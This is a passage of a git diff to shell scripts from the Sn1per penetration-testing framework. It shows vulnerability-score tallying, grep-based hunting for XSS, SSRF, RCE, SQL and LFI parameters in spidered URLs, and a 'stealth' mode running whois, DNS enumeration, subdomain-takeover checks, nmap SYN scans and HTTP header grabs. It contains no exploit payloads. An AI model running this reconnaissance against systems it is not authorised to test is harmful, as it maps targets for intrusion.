echo "Medium: $MEDIUM_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "Low: $LOW_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "Info: $INFO_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "Score: $VULN_SCORE" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "$VULN_SCORE" 2> /dev/null > $LOOT_DIR/vulnerabilities/vulnerability-risk-$TARGET.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
egrep -h CRITICAL $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
egrep -h HIGH $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
egrep -h MEDIUM $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
egrep -h LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
egrep -h INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/vulnerabilities/sc0pe-*.txt > $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null
|
||||
egrep "CRITICAL" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/critical_vulns_total.txt
|
||||
egrep "HIGH" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/high_vulns_total.txt
|
||||
egrep "MEDIUM" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/medium_vulns_total.txt
|
||||
egrep "LOW" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/low_vulns_total.txt
|
||||
egrep "INFO" $LOOT_DIR/vulnerabilities/sc0pe-all-vulnerabilities-sorted.txt 2> /dev/null | wc -l > $LOOT_DIR/vulnerabilities/info_vulns_total.txt
|
||||
WORKSPACE_RISK_CRITCAL=$(cat $LOOT_DIR/vulnerabilities/critical_vulns_total.txt 2> /dev/null)
|
||||
WORKSPACE_RISK_HIGH=$(cat $LOOT_DIR/vulnerabilities/high_vulns_total.txt 2> /dev/null)
|
||||
WORKSPACE_RISK_MEDIUM=$(cat $LOOT_DIR/vulnerabilities/medium_vulns_total.txt 2> /dev/null)
|
||||
WORKSPACE_RISK_LOW=$(cat $LOOT_DIR/vulnerabilities/low_vulns_total.txt 2> /dev/null)
|
||||
WORKSPACE_RISK_INFO=$(cat $LOOT_DIR/vulnerabilities/info_vulns_total.txt 2> /dev/null)
|
||||
WORKSPACE_RISK_TOTAL=$(($WORKSPACE_RISK_CRITCAL*5+$WORKSPACE_RISK_HIGH*4+$WORKSPACE_RISK_MEDIUM*3+$WORKSPACE_RISK_LOW*2+$WORKSPACE_RISK_INFO*1))
|
||||
echo "$WORKSPACE_RISK_TOTAL" > $LOOT_DIR/vulnerabilities/vuln_score_total.txt 2> /dev/null
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
if [[ $STATIC_GREP_SEARCH == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING INTERESTING EXTENSIONS STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_EXTENSIONS" | tee $LOOT_DIR/web/static-extensions-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING INTERESTING PARAMETERS STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_PARAMETERS" | tee $LOOT_DIR/web/static-parameters-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING XSS STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_XSS" | tee $LOOT_DIR/web/static-xss-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SSRF STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_SSRF" | tee $LOOT_DIR/web/static-ssrf-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING REDIRECT STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_REDIRECT" | tee $LOOT_DIR/web/static-redirect-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING RCE STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_RCE" | tee $LOOT_DIR/web/static-rce-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING IDOR STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_IDOR" | tee $LOOT_DIR/web/static-idor-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SQL STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_SQL" | tee $LOOT_DIR/web/static-sql-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING LFI STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_LFI" | tee $LOOT_DIR/web/static-lfi-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SSTI STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_SSTI" | tee $LOOT_DIR/web/static-ssti-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING DEBUG STATIC ANALYSIS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
grep '?' $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | egrep -iE "$GREP_DEBUG" | tee $LOOT_DIR/web/static-debug-$TARGET.txt | head -n $GREP_MAX_LINES
|
||||
fi
|
||||
591
modes/stealth.sh
591
modes/stealth.sh
|
|
@ -1,23 +1,23 @@
|
|||
# STEALTH MODE #####################################################################################################
|
||||
if [ "$MODE" = "stealth" ]; then
|
||||
if [ "$REPORT" = "1" ]; then
|
||||
if [[ "$MODE" = "stealth" ]]; then
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
args="-t $TARGET"
|
||||
if [ "$OSINT" = "1" ]; then
|
||||
if [[ "$OSINT" = "1" ]]; then
|
||||
args="$args -o"
|
||||
fi
|
||||
if [ "$AUTOBRUTE" = "1" ]; then
|
||||
if [[ "$AUTO_BRUTE" = "1" ]]; then
|
||||
args="$args -b"
|
||||
fi
|
||||
if [ "$FULLNMAPSCAN" = "1" ]; then
|
||||
if [[ "$FULLNMAPSCAN" = "1" ]]; then
|
||||
args="$args -fp"
|
||||
fi
|
||||
if [ "$RECON" = "1" ]; then
|
||||
if [[ "$RECON" = "1" ]]; then
|
||||
args="$args -re"
|
||||
fi
|
||||
if [ ! -z "$WORKSPACE" ]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR $OKBLUE[$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
|
|
@ -28,8 +28,13 @@ if [ "$MODE" = "stealth" ]; then
|
|||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args --noreport -m stealth"
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +%Y%m%d%H%M`.txt 2>&1
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
|
|
@ -39,8 +44,8 @@ if [ "$MODE" = "stealth" ]; then
|
|||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[http://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by 1N3"
|
||||
echo -e "$OKORANGE + -- --=[ https://sn1persecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[ Sn1per v$VER by @xer0dayz"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ./\."
|
||||
echo -e "$OKRED ./ '\."
|
||||
|
|
@ -70,283 +75,434 @@ if [ "$MODE" = "stealth" ]; then
|
|||
echo -e "$OKRED '\. ./"
|
||||
echo -e "$OKRED '\/"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[Launching stealth scan: $TARGET $RESET"
|
||||
echo -e "$OKORANGE + -- --=[ Launching stealth scan: $TARGET $RESET"
|
||||
echo -e "$OKGREEN $RESET"
|
||||
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt
|
||||
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN dnsenum $TARGET 2> /dev/null | tee $LOOT_DIR/output/dnsenum-$TARGET.txt 2> /dev/null$RESET"
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_stealth.txt
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
if [[ "$WHOIS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WHOIS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whois $TARGET 2> /dev/null | tee $LOOT_DIR/osint/whois-$TARGET.txt 2> /dev/null
|
||||
if [[ "$SLACK_NOTIFICATIONS_WHOIS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/osint/whois-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING DNS INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
dig all +short $TARGET > $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null
|
||||
dig all +short -x $TARGET >> $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null
|
||||
dig A $TARGET 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
|
||||
dnsenum $TARGET 2> /dev/null | tee $LOOT_DIR/output/dnsenum-$TARGET.txt 2> /dev/null
|
||||
mv -f *_ips.txt $LOOT_DIR/domains/ 2>/dev/null
|
||||
|
||||
if [ $SCAN_TYPE == "DOMAIN" ];
|
||||
host $TARGET 2> /dev/null | grep address 2> /dev/null | awk '{print $4}' 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null
|
||||
mv -f *_ips.txt $LOOT_DIR/ips/ 2>/dev/null
|
||||
if [[ $SCAN_TYPE == "DOMAIN" ]];
|
||||
then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR SUBDOMAIN HIJACKING $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i \"wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp\" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null$RESET"
|
||||
fi
|
||||
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
|
||||
|
||||
source modes/osint.sh
|
||||
source modes/recon.sh
|
||||
|
||||
cd $INSTALL_DIR
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/nmap/dns-$TARGET.txt 2> /dev/null | egrep -i "anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|feed|fresh|ghost|helpscout|helpjuice|instapage|pingdom|surveygizmo|teamwork|tictail|shopify|desk|teamwork|unbounce|helpjuice|helpscout|pingdom|tictail|campaign|monitor|cargocollective|statuspage|tumblr|amazon|hubspot|cloudfront|modulus|unbounce|uservoice|wpengine|cloudapp" | tee $LOOT_DIR/nmap/takeovers-$TARGET.txt 2>/dev/null
|
||||
echo ""
|
||||
fi
|
||||
source $INSTALL_DIR/modes/osint.sh
|
||||
source $INSTALL_DIR/modes/recon.sh
|
||||
cd $INSTALL_DIR
|
||||
echo ""
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt$RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -p $QUICK_PORTS $NMAP_OPTIONS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt
|
||||
|
||||
HOST_UP=$(cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2> /dev/null | grep "host up" 2> /dev/null)
|
||||
if [[ ${#HOST_UP} -ge 2 ]]; then
|
||||
echo "$TARGET" >> $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null
|
||||
fi
|
||||
sort -u $LOOT_DIR/nmap/livehosts-unsorted.txt 2> /dev/null > $LOOT_DIR/nmap/livehosts-sorted.txt 2> /dev/null
|
||||
mv -f $LOOT_DIR/nmap/ports-$TARGET.txt $LOOT_DIR/nmap/ports-$TARGET.old 2> /dev/null
|
||||
for PORT in `cat $LOOT_DIR/nmap/nmap-$TARGET.xml $LOOT_DIR/nmap/nmap-$TARGET-*.xml 2>/dev/null | egrep 'state="open"' | cut -d' ' -f3 | cut -d\" -f2 | sort -u | grep '[[:digit:]]'`; do
|
||||
echo "$PORT " >> $LOOT_DIR/nmap/ports-$TARGET.txt
|
||||
done
|
||||
diff $LOOT_DIR/nmap/ports-$TARGET.old $LOOT_DIR/nmap/ports-$TARGET.txt 2> /dev/null > $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt 2>/dev/null | egrep "MAC Address:" | awk '{print $3 " " $4 " " $5 " " $6}' > $LOOT_DIR/nmap/macaddress-$TARGET.txt 2> /dev/null
|
||||
cat $LOOT_DIR/nmap/nmap-$TARGET.txt $LOOT_DIR/nmap/nmap-$TARGET-*.txt $LOOT_DIR/output/nmap-$TARGET-*.txt 2>/dev/null | egrep "OS details:|OS guesses:" | cut -d\: -f2 | sed 's/,//g' | head -c50 - > $LOOT_DIR/nmap/osfingerprint-$TARGET.txt 2> /dev/null
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/nmap-$TARGET.txt"
|
||||
fi
|
||||
if [[ -s "$LOOT_DIR/nmap/ports-$TARGET.diff" ]]; then
|
||||
if [[ "$SLACK_NOTIFICATIONS_NMAP_DIFF" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/nmap/ports-$TARGET.diff"
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Port change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/nmap/ports-$TARGET.diff 2> /dev/null | egrep "<|>" >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HTTP_PROBE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING HTTP PROBE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" | fprobe -c 200 -p xlarge | tee $LOOT_DIR/web/httprobe-$TARGET.txt 2> /dev/null
|
||||
echo "$TARGET" | fprobe -c 200 -p xlarge -v | tee $LOOT_DIR/web/httprobe-$TARGET-verbose.txt 2> /dev/null
|
||||
fi
|
||||
nmap -sS -T5 --open -Pn -p $DEFAULT_PORTS $TARGET -oX $LOOT_DIR/nmap/nmap-$TARGET.xml | tee $LOOT_DIR/nmap/nmap-$TARGET.txt
|
||||
|
||||
port_80=`grep 'portid="80"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open`
|
||||
port_443=`grep 'portid="443"' $LOOT_DIR/nmap/nmap-$TARGET.xml | grep open`
|
||||
|
||||
if [ -z "$port_80" ];
|
||||
if [[ -z "$port_80" ]];
|
||||
then
|
||||
echo -e "$OKRED + -- --=[Port 80 closed... skipping.$RESET"
|
||||
echo -e "$OKRED + -- --=[ Port 80 closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Port 80 opened... running tests...$RESET"
|
||||
if [ "$WAFWOOF" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http 2> /dev/null$RESET"
|
||||
fi
|
||||
wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http.raw > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null
|
||||
rm -f tee $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
|
||||
fi
|
||||
if [ "$WHATWEB" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http 2> /dev/null$RESET"
|
||||
fi
|
||||
whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http.raw > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKORANGE + -- --=[ Port 80 opened... running tests...$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null$RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 5 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null
|
||||
